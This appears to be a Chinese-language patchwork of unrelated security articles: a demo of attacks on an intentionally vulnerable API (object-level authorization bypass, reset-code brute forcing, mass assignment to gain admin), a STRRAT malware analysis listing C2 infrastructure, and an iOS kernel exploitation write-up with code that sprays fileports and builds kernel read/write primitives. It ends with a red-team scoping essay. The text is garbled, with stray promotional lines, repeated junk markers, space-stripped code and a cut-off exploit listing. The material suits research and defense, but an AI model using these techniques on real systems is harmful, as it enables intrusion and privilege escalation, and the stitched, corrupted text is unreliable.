了解攻擊者如何利用代碼中的弱點是在API 開發過程中防範風險的關鍵步驟之一。在本文中,我們將向您展示攻擊者究竟如何利用列表中的前六個漏洞的示例。我們不會關注最後四個API 安全挑戰,因為它們與安全機制的不當應用有關。

為了向您展示惡意行為者如何利用這些漏洞,我們創建了一個不受保護的API。我們將展示其代碼的哪些部分為黑客打開了大門,並討論瞭如何修復它們。讓我們從部署不受保護的API 開始。

創建示例API在本文中,我們將為簡單的任務管理系統創建一個API。該系統具有不同訪問級別的用戶,並允許他們執行簡單的任務。此外,該系統允許用戶管理活動:自助註冊、創建、編輯和刪除用戶帳戶。

API 將具有以下端點:

image.png

API 端點的類別

您可以使用任何Linux 發行版作為此API 的環境。要部署API,請執行以下步驟:

1.安裝Docker

2.安裝Docker Compose

3.在local.cfg 中配置電子郵件地址(您將需要此地址來發送密碼重置電子郵件)

4.轉到API 文件夾並執行docker-compose up --build 命令

您還可以從我們的GitHub 存儲庫下載此示例API 。 API 管理員帳戶的憑據是:

马云惹不起马云 用戶名:管理員

马云惹不起马云密碼:管理員

要閱讀API 文檔,請將./swagger/swagger.yaml 文件從API 上傳到Swagger Editor。部署API 後,我們可以開始利用漏洞並修復它們。

損壞的對象級授權一些API 公開對象標識符,這對於訪問控制機制至關重要。這些機制驗證用戶只能訪問他們有權訪問的資源。為了利用對象級授權被破壞的API,攻擊者在API 調用中更改請求資源的身份驗證數據並獲取對受保護數據的訪問權限。

在我們的示例API 中,只有用戶自己和管理員可以查看用戶的帳戶詳細信息。此外,我們在API 開發期間添加了一個安全漏洞,並確保GET /user 端點包含對象級授權漏洞。為了檢測它,我們需要:

马云惹不起马云註冊兩個用戶

马云惹不起马云 通過POST /login 端點以user1 身份登錄系統

马云惹不起马云獲取身份驗證令牌

我們使用這個請求登錄系統:

image.png

API 使用以下數據響應我們的請求:

image.png

這是我們的身份驗證令牌:

image.png

如果我們可以獲取令牌,我們可以使用它通過GET /user 端點請求user2 數據:It was originally published on https://www.apriorit.com/

image.png

我們易受攻擊的API 使用user2 數據進行響應:

image.png

如果我們的API 受到對象級授權攻擊的保護,它將使用以下消息響應GET /user 端點請求:

image.png

損壞的用戶身份驗證用戶身份驗證問題可能允許攻擊者冒充用戶、訪問他們的個人數據並濫用訪問權限。通常,此類漏洞隱藏在密碼重置機制中。讓我們看看如何在API 中利用損壞的用戶身份驗證。

我們首先執行這個密碼重置請求:

image.png

請求成功通過後,我們將收到一封電子郵件,其中包含四位數的重置代碼至user@mail.com。之後,我們可以提出以下請求來更改密碼:

image.png

API 不限制嘗試輸入重置代碼的次數,這就是為什麼為註冊到user@mail.com的用戶帳戶獲取新密碼特別容易的原因。要猜測重置代碼,我們只需要編寫一個腳本,嘗試使用從0000 到9999 的所有代碼:It was originally published on https://www.apriorit.com/

image.png

當腳本輸入正確的重置代碼時,我們將收到包含新密碼的響應:

image.png

通過利用這個對象級授權漏洞,我們可以獲取擁有該郵箱的用戶的登錄信息,登錄到他們的賬戶,然後更改郵箱。

在我們的示例API 中,存在一個安全威脅,它允許我們使用相同的重置代碼多次重置用戶的密碼。我們可以使用代碼1111 傳遞此請求,並隨時更改用戶密碼:

image.png

過多的數據暴露當開發人員為API 和客戶端之間的通信實施通用機制時,可能會出現此API 安全漏洞。在這種情況下,API 可能會向客戶端發送比它需要的更多的數據,客戶端必須過濾數據並隱藏用戶不相關的信息。攻擊者可以嗅探此流量並從中提取敏感信息:身份驗證令牌、帳號、電子郵件地址等。

為了在我們的API 中演示此漏洞,我們將從GET /task 端點請求任務的ID 和有關用戶的完整信息。這個端點應該只返回任務ID,但讓我們看看會發生什麼。

這是我們的要求:

image.png

以下是GET /task 端點的響應方式:

image.png

如果攻擊者截獲此響應,他們將獲得API 擁有的有關用戶的所有信息,即使這些信息在API 的客戶端中不可用。

缺乏資源和速率限制API 可以使用CPU、RAM 和磁盤資源來處理請求。開發者通常會根據應用程序的業務邏輯來選擇分配給API 的資源。如果攻擊者設法繞過業務邏輯限制以造成API 必須處理的請求超出其設計目標的情況,則應用程序將耗盡資源並開始出現故障或變得不可用。

在我們的API 中,GET /tasks 包含此漏洞。該端點支持分頁——將RAM 中的數據存儲在硬盤上。攻擊者可以濫用此功能來重載API。

假設應用程序在一頁上顯示10 個任務。顯示任務的請求將如下所示:

image.png

攻擊者可以使用放大的大小參數發送自己的請求以重載API:

image.png

如果數據庫中分配給請求任務的用戶的任務過多,API 將過載,導致拒絕服務。

功能級別授權損壞錯誤配置的授權機制允許攻擊者未經授權訪問敏感資源並竊取、編輯或創建新用戶帳戶。為了檢測此漏洞,攻擊者發送請求以訪問他們不應訪問的對象。

我們將GET /admin/users 端點添加到我們的API 以演示此漏洞。此端點返回在應用程序中註冊的所有用戶的數據,而不檢查誰請求了數據(用戶或管理員)。以下是此類請求的示例:

image.png

GET /admin/users 端點使用以下代碼進行響應:

image.png

批量分配一些開發人員設計他們的API 以在將來自應用程序的輸入綁定到代碼和內部對象時自動分配對象屬性。許多框架提供批量分配功能以幫助加快開發速度。

這種方法對開發人員來說很方便,但它也允許用戶更改他們不應訪問的對象屬性。此外,攻擊者可以嘗試猜測對象屬性或根據他們的要求用新的屬性替換它們。如果API 容易受到此類請求的攻擊,攻擊者可以獲取有關敏感對象的信息、閱讀文檔或修改數據對象。

在我們的API 中,用戶對象存在這個漏洞。它有一個帶有兩個可能值的user_type 參數:user和administrator。當人們自己在我們的應用程序中註冊時,他們的帳戶默認分配用戶值。但是,我們的API 允許用戶通過PUT /user 請求更改此值。通過這種方式,攻擊者可以獲得管理員權限。

要利用此漏洞,我們必須使用此請求註冊用戶:

image.png

之後,我們將收到包含用戶帳戶詳細信息的響應:It was originally published on https://www.apriorit.com/

image.png

然後,我們需要將user_type 字段更改為admin:It was originally published on

image.png

API 將響應更新的用戶數據:

image.png

這樣,user4 將獲得管理員訪問權限。 It was originally published on https://www.apriorit.com/

結論緩解OWASP API 安全項目中的安全問題對於確保應用程序的保護至關重要。為了優先考慮測試程序並節省一些時間,您可以專注於查找和修復我們在本文中討論的最普遍的漏洞。

由於運輸和接收貨物是大多數航運企業的日常工作,攻擊者經常將偽造有關的運輸標題作為釣魚電子郵件的誘餌,例如虛假髮票、運輸事宜的更改或與虛擬購買相關的通知,以誘使收件人打開惡意附件和無意中下載惡意軟件。

FortiGuard實驗室最近發現了一封這樣的郵件,該電子郵件隨後被發現包含STRRAT 惡意軟件的變體作為附件。

本文將詳細分析網絡釣魚郵件及其惡意負載。

檢查網絡釣魚郵件STRRAT是一個多功能的遠程訪問木馬,至少可以追溯到2020 年年中。不同尋常的是,它是基於Java 的,通常通過網絡釣魚電子郵件發送給受害者。

2021年5月,微軟的安全情報團隊發現了新型惡意軟件攻擊,通過包含惡意的PDF 附件進行大規模傳播。這些PDF 附件中包含了名為StrRAT,這是一個可遠程訪問的木馬程序,可用於竊取密碼和用戶憑證。除了竊取憑證甚至控制系統之外,微軟研究人員還發現,這種惡意軟件可以將自己偽裝成偽造的勒索軟件。

關於該惡意軟件的推文中,微軟表示:

“一旦系統被感染,StrRAT 就會連接C2 服務器。1.5版明顯比以前的版本更加模糊和模塊化,但後門功能大多保持不變:收集瀏覽器密碼,運行遠程命令和PowerShell,記錄鍵盤輸入等”。

與大多數網絡釣魚攻擊一樣,以前的STRAAT 活動使用了附加到電子郵件的中間釋放器(例如惡意Excel 宏),在打開時下載最終有效負載。本示例不使用這種策略,而是將最後的有效載荷直接附加到釣魚電子郵件中。

img1.png

欺騙性電子郵件發件人和主題

如圖1 所示,這個樣本顯然不是來自馬士基航運公司,攻擊者顯然不希望接收者看得太仔細。通過進一步挖掘電子郵件標題,電子郵件的來源的完整線索變得很明顯:

2.png

電子郵件標頭

在離開發件人的本地基礎設施後,消息最終會通過“acalpulps[.]com”,然後傳遞給最終收件人。該域名是在2021 年8 月才註冊的,因此該域名有些可疑。此外,“Reply-To”地址中使用的域“ftqplc[.]in”最近也被註冊(2021 年10 月),因此也非常可疑。

電子郵件正文鼓勵收件人打開有關預定裝運的附件。

3.png

電子郵件正文

截至發文,信函正文中包含的域“v[.]al”尚未解析。

4.png

電子郵件附件

直接附加到示例電子郵件的是一個PNG 圖像和兩個Zip 文件。 “maersk.png”只是一個圖像文件,如上圖所示。然而,兩個Zip 文件“SHIPMENT_DOCUMENTS_INV-PLIST01256_BL PDF[.]zip”和“SHIPMENT_DOCUMENTS_INV-PLIST01256_BL PDF (2)[.]zip”包含STRRAT 的嵌入副本。

檢查STRRAT 附件“SHIPMENT_DOCUMENTS_INV-PLIST01256_BL PDF[.]zip”和“SHIPMENT_DOCUMENTS_INV-PLIST01256_BL PDF (2)[.]zip”是相同的文件,這從它們各自的SHA256 哈希值可以看出。

img5.png

“SHIPMENT_DOCUMENTS_INV-PLIST01256_BL PDF[.]zip”的SHA256 哈希

img6.png

“SHIPMENT_DOCUMENTS_INV-PLIST01256_BL PDF (2)[.]zip”的SHA256 哈希

解壓縮這些文件會顯示文件“SHIPMENT_DOCUMENTS_INV-PLIST01256_BL PDF[.]jar”。但是,在Jar Explorer 中打開文件後,一些事情會立即顯現出來。

img7.png

Jar Explorer 中“SHIPMENT_DOCUMENTS_INV-PLIST01256_BL PDF[.]jar”的初始視圖

首先,大量的Java 類文件是這個包的一部分。其次,“FirstRun”類字符串似乎被打亂或編碼。附加有“ALLATORIxDEMO”的行表示存在Allatori Java 混淆處理程序。

這可以通過嘗試執行jar 文件來驗證。

img8.png

嘗試執行“SHIPMENT_DOCUMENTS_INV-PLIST01256_BL PDF[.]jar”時顯示的閃屏

使用Allatori確認這一點有助於分析過程,因為有開源工具可以回滾它並揭示jar文件中的實際內容。 Java Deobfuscator對Allatori工作得特別好,並成功地恢復了原始字符串內容,如下所示。

img9.png

“FirstRun” 類的相同視圖現在已反混淆

與STRRAT 中的類文件獨立編碼的是配置文件(config.txt)。在第一個視圖中,它是base 64 編碼的,如下圖所示。

img10.png

Base 64 編碼的“config.txt”

不幸的是,當解碼時,文件仍然被加碼處理了。

11.png

“解碼”配置文件

通過搜索“config.txt”的代碼,我們可以看到配置文件是使用AES 加密的,並且使用了“strigoi” hXXp://jbfrost[.]live/strigoi/server/?hwid=1lid=mht=5的密碼。現在可以解密配置文件了。

img12.png

解密的配置文件

上圖中的最後一項特別令人感興趣,因為該示例出現在Log4Shell 事件中。 Khonsari 是利用該特定漏洞的勒索軟件變種的名稱。然而,在這裡,這個詞起到了軟件密鑰的作用,沒有證據表明這兩個惡意軟件之間有任何联系。

大多數惡意軟件都需要在重啟和會話期間保持持久性,這樣它們才能完成已經設置的任務。 STRRAT通過將自身複製到一個新目錄中,然後將條目添加到Windows註冊表中以在系統啟動時運行來實現這一點。

img13.png

修改註冊表的代碼

img14.png

修改後的註冊表

STRRAT 在啟動時查詢主機以確定其架構和防病毒功能,它還查詢正在運行的進程、本地存儲和網絡能力。

就功能而言,STRRAT可以記錄擊鍵並維護一個基於html的日誌來存儲感興趣的項目。

img15.png

創建鍵盤日誌文件的代碼

img16.png

準備好發送的鍵盤日誌文件

STRRAT還可以通過刪除遠程訪問工具HRDP來促進對受感染系統的遠程控制。

img17.png

HRDP

其他功能包括從Chrome、Firefox 和Microsoft Edge 等瀏覽器和Outlook、Thunderbird 和Foxmail 等電子郵件客戶端提取密碼。

STRRAT 中最奇怪的模塊之一是它的偽勒索軟件功能。

img18.png

偽勒索軟件模塊

代碼循環瀏覽用戶主目錄中的文件,並為它們附加一個“.crimson”的文件擴展名。沒有對文件進行加密,這使得它只適合作為誘餌,或者作為對不太精明的用戶的恐嚇策略。在代碼中未找到贖金記錄模板。

在網絡方面,我們看到STRRAT希望在啟動時擴展和拉下幾個Java依賴項。

19.png

Java 依賴項

如上圖所示,此示例將IP 地址198[.]27.77.242 用於C2(命令和控制)。檢查Wireshark 中的流量顯示STRRAT 異常嘈雜。這可能是由於C2 通道在調查時處於離線狀態。為了獲得進一步的指令,該示例嘗試以1秒(在某些情況下甚至更多)的時間間隔通過端口1780和1788進行通信。

20.png

Wireshark 中嘗試的C2 通信

上圖還顯示了一個包含域“jbfrost[.]live”的URL,這似乎是惡意軟件C2 基礎設施的一部分,但似乎沒有被使用(至少目前沒有),該域當前未解析。

免責聲明:所有的技術解釋皆基於本人現有的知識,由於本人水平有限,所以錯誤在所難免。同時,文中的概念可能被有意或無意地過度簡化了。

簡介在Corellium網站上通過已得到修復的漏洞練習exploit的開發技巧的過程中,我開始思考如何利用Corellium的管理程序的“魔法”特性來練習通用的漏洞利用技術——即使不借助於特定的漏洞。之所以會有這個想法,是因為我受到了Brandon Azad下面這段話的啟發:

“其次,我希望能夠在不借助於某個或多個特定漏洞的情況下來評估漏洞利用技術,以確定該技術的可行性(即,沒有失敗案例);因為通過不可靠的漏洞來測試利用技術的話,一旦發生失敗,我們很難確定問題出在利用技術本身上面,還是因為漏洞不穩定所致。”

在瀏覽器領域,一個典型的漏洞利用策略是使用兩個ArrayBuffer對象,並將一個對象的後備存儲指針指向另一個對象,這樣arrayBuffer1就可以隨意且安全地修改arrayBuffer2-backing_store_pointer了,比如針對Tesla瀏覽器的漏洞利用代碼就採用了這種方式:

1.png

上圖中最重要的部分是綠色方框部分,對應arrayBuffer1,以及它的後備存儲指針,其中存放的是arrayBuffer2的地址(見右邊獨立的灰色方框)。這樣的話,通過對arrayBuffer1的索引,就可以修改arrayBuffer2內的相應字段了,特別是arrayBuffer2-backing_store_pointer字段。之後,通過索引arrayBuffer2,我們就能讀/寫所需的任意地址了。

實際上,含有BSD組件的iOS內核中有一個明顯的等價物:UNIX管道。並且,管道API的用法與典型的UNIX文件用法非常相似,但前者的內容並沒有保存到磁盤上的文件中,而是以“管道緩衝區”的形式存儲在內核的地址空間,這是一個單獨的內存空間(默認為512字節,但可以通過向管道寫入更多的數據來進行擴展)。因此,通過控制管道緩衝區的指針,就可以用來創建任意的讀/寫原語,具體方式與控制Javascript引擎中ArrayBuffer的後備存儲指針的方式基本相同。

例如,下面的代碼將創建一個管道,它被表示為一對文件描述符(一個是“read end”和一個是“write end”),然後,寫入32字節的字符A:

intpipe_pairs[2]={0};

if(pipe(pipe_pairs)){

fprintf(stderr,'[!]Failedtocreatepipe:%s\n',strerror(errno));

exit(-1);

}

printf('Pipereadendfd:%d\n',pipe_pairs[0]);

printf('Pipewriteendfd:%d\n',pipe_pairs[1]);

charpipe_buf_contents[32];

memset(pipe_buf_contents,0x41,sizeof(pipe_buf_contents));

write(pipe_pairs[1],pipe_buf_contents,sizeof(pipe_buf_contents));

charbuf[33]={0};

read(pipe_pairs[0],buf,32);

printf('Readfrompipe:%s\n',buf);這至少會分配兩段內核空間:一段用於struct管道,一段用於管道緩衝區本身。要構建該技術,我們首先需要一個模擬漏洞。

Corellium就是魔法師Corellium有一個非常特殊的功能,它允許用戶態代碼任意讀/寫內核內存。雖然該特性是完全可靠的,但為了便於討論,我們將假裝有失敗的可能性,從而導致內核崩潰。因此,管道技術的全部意義在於將不可靠的原語“提升”為更好的原語。我們的示例原語將是任意讀取0x20字節(隨機選擇)以及任意寫入64位值:

/*Simulatea0x20bytereadfromanarbitrarykerneladdress,representativeofaprimitivefromabug.

*Callerisresponsibleforfreeingthebuffer.

*/

staticchar*corellium_read(uint64_tkaddr_to_read){

char*leak=calloc(1,128);

unicopy(UNICOPY_DST_USER|UNICOPY_SRC_KERN,(uintptr_t)leak,kaddr_to_read,0x20);

returnleak;

}

/*Simulatea64-bitarbitrarywrite*/

staticvoidcorellium_write64(uintptr_tkaddr,uint64_tval){

uint64_tvalue=val;

unicopy(UNICOPY_DST_KERN|UNICOPY_SRC_USER,kaddr,(uintptr_t)value,sizeof(value));

}為了增加真實性,我們可以增加一個隨機的失敗機會,例如每次使用都有10%的機會引起內核崩潰,或者遞增失敗的概率。然而,為了構建該技術,我決定讓其保持100%的可靠性。

重要的是,這些原語沒有提供KASLR洩漏漏洞,所以開發過程的部分工作將圍繞這個弱點進行。雖然Corellium還提供了另一個神奇的hvc調用,可以提供內核基址,但這裡並不使用該調用。

創建管道原語首先,我們需要兩個管道,並分配緩衝區。這與上面的基本管道例子非常相似。

//Createtwopipes

intpipe_pairs[4]={0};

for(inti=0;i4;i+=2){

if(pipe(pipe_pairs[i])){

fprintf(stderr,'[!]Failedtocreatepipe:%s\n',strerror(errno));

exit(-1);

}

}

charpipe_buf_contents[64];

memset(pipe_buf_contents,0x41,sizeof(pipe_buf_contents));

write(pipe_pairs[1],pipe_buf_contents,sizeof(pipe_buf_contents));

memset(pipe_buf_contents,0x42,sizeof(pipe_buf_contents));

write(pipe_pairs[3],pipe_buf_contents,sizeof(pipe_buf_contents));現在,我們需要在內核內存中定位這些結構。其中,一種方法是使用任意讀取來遍歷struct proc鍊錶,以查找exploit進程,然後遍歷其p_fd-fd_ofiles數組,以查找管道的fileglob,最後讀取fileglob-fg_data,這將是一個struct管道。不幸的是,這需要多次讀取,並且,我們還要假裝read原語是不可靠的。它還需要了解KASLR的slide,以便找到struct proc列表的頭部。總而言之,我們需要一種不同的方法。

Fileports:XNU的多味巧克力實際上,有一個API可用於通過Mach端口共享UNIX文件描述符,同時,Mach端口噴射技術已經由來已久。創建文件端口的API非常簡單:

intpipe_read_fd=[.];//Assumethiswascreatedelsewhere

mach_port_tmy_fileport=MACH_PORT_NULL;

kern_return_tkr=fileport_makeport(pipe_read_fd,my_fileport);通過創建大量這樣的端口(比如,100k),那麼,其中一個Mach端口落在可預測的地址上的機率就會變得相當高。並且,該端口的kobject字段將指向管道的fileglob對象,其中包含兩個非常有用的字段:

fg_ops:一個指向函數指針數組的指針。通過它,內核就知道如何調用pipe_read了,而非調用vn_read(用於磁盤上的普通文件)。這個指針位於內核的__DATA_CONST段中,這意味著這裡存在一個KASLR洩漏漏洞!

fg_data:一個指向struct管道的指針,這正是我們夢寐以求的東西。

同時,該struct管道還包含一個嵌入式結構(struct pipebuf),其中保存的是管道緩衝區的地址。通過使用兩次任意讀取原語,我們就可以確定struct管道的地址。為了達到我們的目的,我們還必須再一次定位管道的地址,所以,我們總共需要使用四次任意讀取原語。但是,我們該如何找出相應的內核地址呢?

更多Corellium魔法:管理程序鉤子我們可以使用管理程序鉤子輸出每個fileport分配的內存地址,然後選擇一個在多次運行中出現的地址,而不是胡亂猜測。

另外,這些鉤子可以通過調試器命令放置,但之後它們將獨立於調試器運行。因此,它們比斷點運行得快得多,並且可以直接記錄到設備的虛擬控制台,這使得提取數據以供後續分析變得容易了許多。

我們的鉤子應盡可能簡單——在執行到特定地址時,只需打印寄存器的值即可,例如:

(lldb)processpluginpacketmonitorpatch0xFFFFFFF00756F4F8print_int('Fileportallocated',cpu.x[0]);print('\n');其中,process plugin packet monitor用於告訴lldb,將原始“monitor”命令發送給遠程調試器存根。據這些鉤子文檔稱,這些命令在lldb中“通常是不可用的”,但至少對這個鉤子來說似乎是有效的。

該命令的其餘部分用於鉤住指定的地址,並將X0寄存器的內容打印到設備的控制台。幸運的是,鉤子的輸出是以不同的文字顏色顯示的,所以很容易發現。

為了給鉤子函數做好準備,我們需要確定要鉤住新分配的內存中的哪個地址,而這些地址通常會保存在寄存器中。下面,讓我們來看一下fileport_makeport的實現代碼:

int

sys_fileport_makeport(proc_tp,structfileport_makeport_args*uap,__unusedint*retval)

{

interr;

intfd=uap-fd;//[1]

user_addr_tuser_portaddr=uap-portnamep;

structfileproc*fp=FILEPROC_NULL;

structfileglob*fg=NULL;

ipc_port_tfileport;

mach_port_name_tname=MACH_PORT_NULL;

[.]

err=fp_lookup(p,fd,fp,1);//[2]

if(err!=0){

gotoout_unlock;

}

fg=fp-fp_glob;//[3]

if(!fg_sendable(fg)){

err=EINVAL;

gotoout_unlock;

}

[.]

/*Allocateandinitializeaport*/

fileport=fileport_alloc(fg);//[4]

if(fileport==IPC_PORT_NULL){

fg_drop_live(fg);

err=EAGAIN;

gotoout;

}

[.]

}在[1]處,文件描述符是從一個結構體類型的參數中接收的,它將與用戶空間中看到的、表示管道fd的整數相匹配。

在[2]處,將fd(例如3)轉換為表示內核內存中管道的fileproc對象指針。然後,在[3]處,解除fp_glob指針的引用,檢索管道的fileglob。

在[4]處,創建Mach端口,該端口封裝了fileglob對象,並將其指針放置在kobject字段中。其中,fileport是我們要記錄的地址,它是fileport_alloc的返回值,因此,它位於X0寄存器中。下面,讓我們來看看fileport_alloc的具體代碼:

ipc_port_t

fileport_alloc(structfileglob*fg)

{

returnipc_kobject_alloc_port((ipc_kobject_t)fg,IKOT_FILEPORT,

IPC_KOBJECT_ALLOC_MAKE_SEND|IPC_KOBJECT_ALLOC_NSREQUEST);

}這個函數很短,並且只引用了一次,所以,它很可能是內聯的。接下來,我們需要找到kernelcache內部的等效代碼。幸運的是,jtool2可以幫助我們完成這個任務。為此,我們首先需要通過Corellium的Web界面的“Connect”選項卡下載kernelcache,然後,就可以利用jtool2的分析功能來創建符號緩存文件了:

$jtool2--analyzekernel-iPhone9,1-18F72

Analyzingkernelcache.

Thisisanold-styleA10kernelcache(DarwinKernelVersion20.5.0:SatMay802:21:50PDT2021;root:xnu-7195.122.1~4/RELEASE_ARM64_T8010)

Warning:ThisversionofjokersupportsuptoDarwinVersion19-andreportedversionis20

--Processing__TEXT_EXEC.__text.

Disassembling6655836bytesfromaddress0xfffffff007154000(offset0x15001c):

__ZN11OSMetaClassC2EPKcPKS_jis0xfffffff0076902f8(OSMetaClass)

Can'tgetIOKitObject@0x0(0xfffffff007690b5c)

[.]

openedcompanionfile./kernel-iPhone9,1-18F72.ARM64.B2ACCB63-D29B-34B0-8C57-799C70810BDB

Dumpingsymbolcachetofile

Symbolicated7298symbolsand9657functions然後,我們可以利用grep命令處理該文件,以找到我們需要的兩個符號:

$grepipc_kobject_alloc_portkernel-iPhone9,1-18F72.ARM64.B2ACCB63-D29B-34B0-8C57-799C70810BDB

0xfffffff00719de7c|_ipc_kobject_alloc_port|

$grepfileport_makeportkernel-iPhone9,1-18F72.ARM64.B2ACCB63-D29B-34B0-8C57-799C70810BDB

0xfffffff00756f3a4|_fileport_makeport|現在,我們只需從fileport_makeport中找到對ipc_kobject_alloc_port的調用即可:

1.png

需要注意的是,這個調用指令後的指令面,就是我們要掛鉤的指令,其地址為0xFFFFFFF00756F4F8。由於啟用了KASLR機制,直接修改這個地址是無法奏效的。幸運的是,如前所述,我們可以藉助於虛擬機管理程序的另一種魔法,即通過調用提供的get_kernel_addr函數從userspace獲得slid內核基的方法:

#defineKERNEL_BASE0xFFFFFFF007004000

uint64_tkslide=get_kernel_addr(0)-KERNEL_BASE;

printf('Kernelslide:0x%llx\n',kslide);

printf('Placehypervisorhook:\n');

uint64_tpatch_address=g_kparams-fileport_allocation_kaddr+kslide;

printf('\tprocesspluginpacketmonitorpatch0x%llxprint_int(\'Fileportallocated\',cpu.x[0]);print(\'\\n\');\n',patch_address);

printf('Pressentertocontinue\n');

getchar();通過將這段代碼放到exploit的開頭處,不僅能為附加調試器和安裝鉤子提供必要的時間,還能為給定的kernelcache提供正確的slid地址。

一旦鉤子安裝到位,我們就可以噴射100k fileport,並選擇一個作為我們要猜測的內存地址。我簡單地向上滾動了一下,在列表的3/4處隨機選擇了一個,這對於PoC來說似乎足夠好了。一個更嚴謹的做法,是通過多次運行來跟踪地址範圍,並嘗試挑選一個已知的高概率的地址,例如如Justin Sherman的IOMobileFrameBuffer漏洞利用代碼就採用了這種方式。

現在我們有了一個猜測對象,我們可以執行兩次相同的噴射操作(為每個管道的讀端fd噴射一次),並讀取kobject字段來定位struct管道;下面是完整的實現代碼:

structkpipe{

intrfd;

intwfd;

uint64_tfg_ops;

uint64_tr_fg_data;

};

staticstructkpipe*find_pipe(intrfd,intwfd){

structkpipe*kp=NULL;

char*leak=NULL;

char*fileglob=NULL;

char*fg_data=NULL;

printf('[*]Sprayingfileports\n');

mach_port_tfileports[NUM_FILEPORTS]={0};

for(inti=0;iNUM_FILEPORTS;i++){

kern_return_tkr=fileport_makeport(rfd,fileports[i]);

CHECK_KR(kr);

}

printf('[*]Donesprayingfileports\n');

#ifdefSAMPLE_MEMORY

//Noneedtocontinue,justexit

printf('[*]Finishedcreatingmemorysample,exiting\n');

exit(0);

#endif

uint64_tkaddr_to_read=g_kparams-fileport_kaddr_guess;

leak=read_kernel_data(kaddr_to_read+g_kparams-kobject_offset);//port-kobject,shouldpointtoastructfileglob

if(!leak){

printf('[!]Failedtoreadkerneldata,willlikelypanicsoon\n');

gotoout;

}

uint64_tpipe_fileglob_kaddr=*(uint64_t*)leak;

if((pipe_fileglob_kaddr0xff00000000000000)!=0xff00000000000000){

printf('[!]Failedtolandthefileportspray\n');

gotoout;

}

pipe_fileglob_kaddr|=0xffffff8000000000;//PointermightbePAC'd

printf('[*]Foundpipestructure:0x%llx\n',pipe_fileglob_kaddr);

//+0x28pointstofg_opstoleaktheKASLRslide

//+0x38pointstofg_data(structpipe)

fileglob=read_kernel_data(pipe_fileglob_kaddr+0

安全評估的目的是減少組織的總體風險,每一個視角都有其自身的價值。所有這些方法應該組合在一起產生一種有效的安全評估策略,該策略應盡可能覆蓋組織的攻擊面,並識別盡可能多的威脅。這樣,組織就可以最大限度地降低風險。在試圖編寫一份全面的安全評估報告時,並不是所有的初始視角都適用於任何情況。因此,必須超越每種攻擊面和風險評估的價值,並深入研究每種攻擊面和風險評估的其他優點和缺點。這使得評估人員不僅知道哪些視角是最需要的,而且還知道哪些視角在任何給定的評估場景中是最可行的。

引入風險在演練之前的任何安全性評估中,必須完成建立演練範圍和ROE這一極其重要的步驟。在開始評估組織的安全性之前,有嚴格的流程來遵循演練將如何執行的細節。不同的初始視角在理解和同意演練的範圍和規則方面呈現出不同的複雜性。演練範圍和ROE用於幫助組織確定演練可能引入的可接受的風險水平。

這種風險表現在兩個方面。首先,安全評估可能會通過評估活動攻擊重要的設備或服務,從而給組織帶來風險。第二,評估者從給定的角度進行評估所需的訪問可能會增加總體攻擊面或其嚴重程度。

外部視角與風險引入最初由外部視角評估的攻擊面是由專門在互聯網上提供的設備和服務組成的。這意味著設備和服務會遭受攻擊以及面臨大量的流量。然而,嘗試執行網絡掃描和漏洞利用所帶來的額外壓力仍然會使設備崩潰。儘管風險很低,但必須考慮到這一風險來源,因為失去一個面向互聯網的服務可能會影響組織的外部和內部用戶。因為評估人員不需要建立內部訪問來從外部視角進行評估,所以執行此類評估不會增加額外的攻擊面。

DMZ視角和風險引入與外部視角類似,DMZ視角最初側重於用於基於互聯網流量的設備和服務。評估導致的潛在停機所造成的風險同樣很低。評估人員訪問DMZ中的設備時不應帶來額外風險,因為DMZ的目的是將某些設備從網絡的其餘部分分割開來。由於DMZ評估視角從DMZ中的橫向位置而不是從互聯網上測試設備,因此嘗試執行網絡掃描和漏洞利用產生意外後果的可能性稍大一些。設備可能沒有準備好處理這種橫向通信,這可能會導致問題出現。這一視角要求在非軍事區(DMZ)內建立一個存在點,從該點開始評估。儘管這使得評估人員能夠深入組織的一個層次,但風險仍然可以忽略不計。交給評估人員的訪問由於其在非軍事區的性質與內部網絡隔離,因此由於其初始評估向量的額外攻擊面,因此不會造成額外風險。

內部視角和風險引入從內部視角進行的評估能夠立即與不面向互聯網的設備和服務交互。這些設備不太可能應對大量掃描或攻擊嘗試,因此從這個視角評估設備存在一定的風險。與外部用戶相比,此處的拒絕服務更可能導致內部用戶缺乏可用性。此外,此評估導致的停機更有可能影響組織功能。內部視角也增加了攻擊面。隨著一個組織授予必要的訪問權限,或者惡意軟件的成功引入,評估人員從這個視角將其他訪問方式引入到一個組織中。

關鍵視角和風險引入與其他初始視角相比,關鍵視角代表了組織運作能力的高風險水平。開展此類評估的初始原因主要是那些被確定為對組織存在能力極其關鍵的風險項。評估對此類設備造成的任何問題都可能損害組織正常運作的能力。攻擊面增加所造成的風險也相對較高。與內部視角一樣,關鍵視角要求組織引入訪問向量來開始評估。此訪問向量添加到組織中的攻擊面更危險,因為它直接指向高危風險項。評估員使用的訪問向量造成的損害對組織來說是極其危險的。在進行此類評估時應格外小心。

前面我介紹了CAPTR 團隊利用的關鍵初始演練視角以及已經在使用中的已建立視角。對這些初始演練視角如何影響進攻性安全評估的過程和結果進行了深入分析。讀者現在應該對初始化視角以及與關鍵初始化視角相關的好處有了更深入的了解。

反向紅隊通過CAPTR 團隊所使用的特定範圍的方法論選擇目標,並使用關鍵視角確定最合適的演練起點,即可開始執行評估。反向紅隊演練鏈路是一種從關鍵視角進行評估的獨特方式,它創建了一種報告機制,使用反向風險關係為此類業務提供極高的成本效益。下文將解釋反向演練鏈路的過程,以及它可以產生的好處和結果的表示。

反向紅隊演練鏈路反向紅隊演練鏈路是利用從初始範圍項目中被動收集的本地情報來定義攻擊者可能使用的訪問向量並適當擴展CAPTR團隊範圍的過程。為了提高高風險漏洞利用和訪問路徑的效率,反向紅隊演練鏈路將重點放在圍繞給定機器的可識別通信通道上,而不是圍繞整個網絡。這種方法為了精確目標的選擇和評估而犧牲了評估的目標數量。

本地評估在假定APT最終可以在入侵過程中實現這樣的上下文的情況下,使用提升的權限對作用域關鍵對象進行局部評估。在CAPTR團隊演練窗口開始時,將評估那些允許攻擊者影響洩露對象的機密性、完整性或可用性的本地權限提升漏洞和本地錯誤配置漏洞。此外,該本地上下文用於識別潛在的遠程訪問向量,例如代碼執行漏洞或糟糕的身份驗證配置。通過訪問本地存儲的數據和操作系統功能,CAPTR團隊評估人員可以有效識別攻擊者可用於初始範圍項目的訪問向量,而無需對潛在風險執行盲目的網絡掃描和漏洞利用。

強調此方法優點的最佳方法是通過使用下圖所示網絡的簡單示例。 CAPTR團隊以結果為導向的範圍界定表明,Linux文件服務器對組織構成了致命的危害,將從訪問服務器的關鍵初始角度進行評估。

Untitled.png

CAPTR團隊評估方向性

